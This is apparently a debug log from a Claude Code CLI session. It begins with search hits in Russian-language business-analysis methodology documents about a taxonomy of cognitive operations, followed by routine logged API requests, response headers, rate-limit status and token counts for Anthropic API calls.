\u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0435\\n./projects/ba-ai-process/ba-meta-model/operation-taxonomy/00-introduction.md:33:   \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f, \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u0442\u0438\u043f \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b.\\n./projects/ba-ai-process/ba-meta-model/operation-taxonomy/00-introduction.md:37:5. \u0421\u043b\u043e\u0432\u0430\u0440\u044c **\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439**: 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0432 \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\u0445 \u2014 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435,\\n./projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md:273:### 6. \u041c\u0435\u0442\u0430-\u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0435 human checkpoints\\n./docs/rfc/methodology-research-and-proposals.md:395:\u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u044c\u043d\u043e.\\n./docs/rfc/methodology-research-and-proposals.md:405:| 2 | **Workflow** | \u041f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u043d\u043e\u0441\u0442\u044c Product Layer, \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u0448\u0430\u0433\u0438, \u0442\u043e\u0447\u043a\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u0439. | **Product Layer Mango** + \u043e\u0441\u044c Cognitive Operations (D.1); \u043d\u043e\u0442\u0430\u0446\u0438\u044f BPMN (\\n./docs/adr/2026-09-adr-015-process-operation-taxonomy-rebuild.md:66:| `TX-5` | \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0430: \u043e\u0434\u0438\u043d \u043a\u043b\u0430\u0441\u0441 \u0432\u044b\u0445\u043e\u0434\u0430, \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f, \u043e\u0434\u0438\u043d \u0442\u0438\u043f \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b. \u0412\u0441\u0451, \u0447\u0442\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u043e\u0441\u043b\\n./docs/analysis/2026-07-10-r-a-a-report-structural-desync-options.md:176:**Trade-off.** \u041d\u0438\u0437\u043a\u0430\u044f \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0435\u0439\u0447\u0430\u0441 \u0446\u0435\u043d\u043e\u0439 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e\u0439 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0438\\n./docs/analysis/2026-07-10-r-a-a-report-structural-desync-options.md:273:**Trade-off.** \u041f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0442\u0435\u043a\u0443\u0449\u0430\u044f \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u0434\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f\\n./docs/project-summaries/mango-ba-prompts-context-Summary.md:21:  \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0431\u044d\u043a\u043b\u043e\u0433), \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f 13 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u00d7 9 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0411\u0410 \u0438\\n./research/open-ai-ru/2026-06-20-open-ai-ru-repository-architecture-and-l3-l4.md:623:| \u041d\u0438\u0437\u043a\u0438\u0439 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0439 overhead \u0434\u043b\u044f Phase 0 | `solution-concept.md` \u043c\u043e\u0436\u0435\u0442 \u0440\u0430\u0437\u0440\u0430\u0441\u0442\u0438\u0441\u044c |\\n./research/mango/2026-08-17-mango-ba-processes-and-dod-ontology.md:31:\u0442\u0440\u0451\u0445 \u0441\u043b\u043e\u0451\u0432: **13 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u00d7 9 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0411\u0410** (\u0440\u0435\u0435\u0441\u0442\u0440\\n./research/mango/2026-08-17-mango-ba-processes-and-dod-ontology.md:68:2. **\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f** \u2014 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0439 \u0448\u0430\u0433 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438\u0437 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438\\n./research/mango/2026-08-17-mango-ba-processes-and-dod-ontology.md:115:\u00ab\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f 13 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u00d7 9 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0411\u0410\u00bb; \u043f\u0435\u0440\u0432\u043e\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u2014\\n./research/mango/2026-08-17-mango-ba-processes-and-dod-ontology.md:147:### 2. \u0421\u043b\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 (13 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439)\\n./research/mango/README.md:28:| [2026-08-17-mango-ba-processes-and-dod-ontology.md](2026-08-17-mango-ba-processes-and-dod-ontology.md) | Inventory Analysis \u0434\u043b\u044f issue #512: \u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0411\u0410, \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 \u0442\ufffd\\n./research/mango/2026-06-18-requirements-engineering-ai-era.md:148:**\u0427\u0442\u043e \u0432 mango.** 13 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, \u0440\u0430\u0437\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u0445 \u043f\u043e 6 \u043e\u0431\u043b\u0430\u0441\u0442\u044f\u043c \u0437\u043d\u0430\u043d\u0438\u0439 BABOK\\n./research/ba-requirements/artifact-micro-structure/10-theory.md:45:| `MTH-OPS` | \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0411\u0410 | \u0440\u043e\u043b\u044c \u00ab\u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u043e\u0440 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438 \u0425\u0430\u0431\u0430\u00bb |\\n./research/ba-requirements/README.md:118:  \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0435** \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0441 \u0448\u0435\u0441\u0442\u0438\u043f\u043e\u043b\u0435\u0432\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c,\\n./research/ba-requirements/normalization/10-theory.md:89:| E4 | **\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f** | \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0435 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043d\u0430\u0434 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u043c | \u0432\u0445\u043e\u0434, \u0432\u044b\u0445\u043e\u0434, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043d\u043e\u0441\u0442\u0438 |\\n./research/ba-requirements/normalization/30-decision-framework.md:46:| U5 \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0444\u043e\u0440\u043c\u044b | 13 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 | **\u043f\u043e\u043b\u043d\u043e\u0435** | \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f |\\n./research/ba-requirements/normalization/30-decision-framework.md:287:**\u041d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u044d\u0442\u043e\u0439 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u0438:** 13 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, 30 \u0442\u0438\u043f\u043e\u0432 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432,\\n./research/ba-requirements/normalization/00-introduction.md:142:- \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 13 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 Mango \u2014 \u043d\u0430 \u044d\u0442\u043e\u0439 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u0438 \u043e\u043d\u0438\\n./research/ai-education/memory/20-taxonomy.md:34:\u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u043f\u0441\u0438\u0445\u043e\u043b\u043e\u0433\u0438\u0438, \u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u0437\u0434\u0435\u0441\u044c \u043f\u043e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u043c\u0443 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0443, \u0430 \u043d\u0435 \u043f\u043e\\n./research/ai-education/information-extraction-graph-modeling/00-introduction.md:94:   discovery \u2192 normalization \u2192 verification \u0441\u043d\u0438\u0436\u0430\u044e\u0442 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u043e\u0434\u043d\u043e\u0439\\n./research/hub/2026-07-04-hub-as-agent-system-global-analysis.md:1344:\u043a\u043e\u043d\u0441\u0443\u043b\u044c\u0442\u0430\u043d\u0442 \u043f\u0435\u0440\u0435\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 \u043a\u0430\u043a **\u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438** 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state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:14.399Z] [STDOUT] [log_b1a75b] response parsed {\n[2026-09-29T07:46:14.403Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:14.409Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:14.416Z] [STDOUT]   body: X {\n[2026-09-29T07:46:14.436Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:14.457Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:14.471Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:14.486Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:14.494Z] [STDOUT]     },\n[2026-09-29T07:46:14.497Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:14.503Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:14.513Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:14.517Z] [STDOUT]   },\n[2026-09-29T07:46:14.521Z] [STDOUT]   durationMs: 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\"org_level_disabled\",\n[2026-09-29T07:46:16.517Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:16.521Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:16.524Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:16.527Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:16.530Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:16.535Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:16.539Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:16.541Z] [STDOUT]     \"cf-ray\": \"a4295f7ffbaf4d8b-FRA\",\n[2026-09-29T07:46:16.545Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:16.550Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:16.553Z] [STDOUT]     \"content-security-policy\": \"default-src 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response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:16.619Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:16 GMT\",\n[2026-09-29T07:46:16.623Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:16.626Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:16.630Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:16.633Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:16.636Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:16.641Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:16.647Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:16.651Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:16.656Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:16.663Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:16.669Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:16.673Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:16.679Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:16.683Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:16.688Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:16.690Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:16.695Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:16.700Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:16.704Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:16.707Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:16.711Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:16.714Z] [STDOUT]   \"request-id\": \"req_011CfXMpWUAUA14gXjG4mkbw\",\n[2026-09-29T07:46:16.718Z] [STDOUT]   \"traceresponse\": \"00-d5d281f5976543a9d4d5f3c702195be3-6e76a717dba316e3-01\",\n[2026-09-29T07:46:16.722Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:16.725Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:16.729Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:16.740Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:16.750Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:16.754Z] [STDOUT]   \"cf-ray\": \"a4295f7ffbaf4d8b-FRA\",\n[2026-09-29T07:46:16.762Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:16.769Z] [STDOUT] [log_1d1147] response parsed {\n[2026-09-29T07:46:16.772Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:16.779Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:16.787Z] [STDOUT]   body: X {\n[2026-09-29T07:46:16.794Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:16.797Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:16.801Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:16.804Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:16.817Z] [STDOUT]     },\n[2026-09-29T07:46:16.822Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:16.826Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:16.829Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:16.831Z] [STDOUT]   },\n[2026-09-29T07:46:16.835Z] [STDOUT]   durationMs: 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[INFO]       }\n[2026-09-29T07:46:16.855Z] [INFO]     ],\n[2026-09-29T07:46:16.855Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:16.855Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:16.855Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:16.855Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:16.855Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:16.855Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:16.855Z] [INFO]       \"cache_creation_input_tokens\": 3361,\n[2026-09-29T07:46:16.855Z] [INFO]       \"cache_read_input_tokens\": 86630,\n[2026-09-29T07:46:16.855Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:16.855Z] [INFO]         \"ephemeral_5m_input_tokens\": 3361,\n[2026-09-29T07:46:16.855Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:46:16.855Z] [INFO]       },\n[2026-09-29T07:46:16.855Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:46:16.855Z] [INFO]       \"service_tier\": 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},\n[2026-09-29T07:46:18.666Z] [STDOUT]   },\n[2026-09-29T07:46:18.674Z] [STDOUT]   headers: {\n[2026-09-29T07:46:18.678Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:18.683Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,context-management-2025-06-27,token-counting-2024-11-01\",\n[2026-09-29T07:46:18.687Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:18.691Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:18.698Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:46:18.700Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:18.705Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:18.713Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:18.721Z] [STDOUT]     \"x-claude-code-request-class\": \"auxiliary\",\n[2026-09-29T07:46:18.729Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:18.733Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:18.743Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:18.751Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:18.757Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:18.761Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:18.774Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:18.786Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:18.790Z] [STDOUT]   },\n[2026-09-29T07:46:18.795Z] [STDOUT] }\n[2026-09-29T07:46:18.804Z] [STDOUT] [log_1f828b, request-id: \"req_011CfXMpfrUkmPkquwqVhZoH\"] post https://api.anthropic.com/v1/messages/count_tokens?beta=true succeeded with status 200 in 195ms\n[2026-09-29T07:46:18.818Z] [STDOUT] [log_1f828b] response start {\n[2026-09-29T07:46:18.825Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:46:18.827Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:18.831Z] [STDOUT]   headers: {\n[2026-09-29T07:46:18.839Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:18.847Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:18.853Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:18.859Z] [STDOUT]     \"cf-ray\": \"a4295f8def7b4d8b-FRA\",\n[2026-09-29T07:46:18.864Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:18.872Z] [STDOUT]     \"content-encoding\": \"br\",\n[2026-09-29T07:46:18.877Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:18.880Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:18.884Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:18 GMT\",\n[2026-09-29T07:46:18.886Z] [STDOUT]     \"request-id\": \"req_011CfXMpfrUkmPkquwqVhZoH\",\n[2026-09-29T07:46:18.892Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:18.895Z] [STDOUT]     \"server-timing\": \"x-originResponse;dur=82\",\n[2026-09-29T07:46:18.900Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:18.903Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:18.905Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:18.908Z] [STDOUT]   },\n[2026-09-29T07:46:18.911Z] [STDOUT]   durationMs: 195,\n[2026-09-29T07:46:18.915Z] [STDOUT] }\n[2026-09-29T07:46:18.918Z] [STDOUT] [log_1f828b] response parsed {\n[2026-09-29T07:46:18.923Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:46:18.927Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:18.930Z] [STDOUT]   body: {\n[2026-09-29T07:46:18.932Z] [STDOUT]     input_tokens: 7177,\n[2026-09-29T07:46:18.937Z] [STDOUT]     _request_id: \"req_011CfXMpfrUkmPkquwqVhZoH\",\n[2026-09-29T07:46:18.946Z] [STDOUT]   },\n[2026-09-29T07:46:18.952Z] [STDOUT]   durationMs: 196,\n[2026-09-29T07:46:18.962Z] [STDOUT] }\n[2026-09-29T07:46:18.971Z] [STDOUT] [log_c9aec9, request-id: \"req_011CfXMpftDZSEVgeoKTSmjf\"] post https://api.anthropic.com/v1/messages/count_tokens?beta=true succeeded with status 200 in 208ms\n[2026-09-29T07:46:18.979Z] [STDOUT] [log_c9aec9] response start {\n[2026-09-29T07:46:18.985Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:46:18.988Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:18.992Z] [STDOUT]   headers: {\n[2026-09-29T07:46:18.996Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:18.999Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:19.002Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:19.009Z] [STDOUT]     \"cf-ray\": \"a4295f8de997dbb5-FRA\",\n[2026-09-29T07:46:19.027Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:19.047Z] [STDOUT]     \"content-encoding\": \"br\",\n[2026-09-29T07:46:19.059Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:19.064Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:19.070Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:18 GMT\",\n[2026-09-29T07:46:19.074Z] [STDOUT]     \"request-id\": \"req_011CfXMpftDZSEVgeoKTSmjf\",\n[2026-09-29T07:46:19.080Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:19.086Z] [STDOUT]     \"server-timing\": \"x-originResponse;dur=95\",\n[2026-09-29T07:46:19.088Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:19.090Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:19.096Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:19.099Z] [STDOUT]   },\n[2026-09-29T07:46:19.101Z] [STDOUT]   durationMs: 208,\n[2026-09-29T07:46:19.108Z] [STDOUT] }\n[2026-09-29T07:46:19.112Z] [STDOUT] [log_c9aec9] response parsed {\n[2026-09-29T07:46:19.122Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:46:19.126Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:19.132Z] [STDOUT]   body: {\n[2026-09-29T07:46:19.139Z] [STDOUT]     input_tokens: 9178,\n[2026-09-29T07:46:19.146Z] [STDOUT]     _request_id: \"req_011CfXMpftDZSEVgeoKTSmjf\",\n[2026-09-29T07:46:19.159Z] [STDOUT]   },\n[2026-09-29T07:46:19.164Z] [STDOUT]   durationMs: 209,\n[2026-09-29T07:46:19.166Z] [STDOUT] }\n[2026-09-29T07:46:19.169Z] [STDOUT] [log_305ee8, request-id: \"req_011CfXMpg1QgHm99ZhLbjF3D\"] post https://api.anthropic.com/v1/messages/count_tokens?beta=true succeeded with status 200 in 240ms\n[2026-09-29T07:46:19.172Z] [STDOUT] [log_305ee8] response start {\n[2026-09-29T07:46:19.177Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:46:19.181Z] [STDOUT]   status: 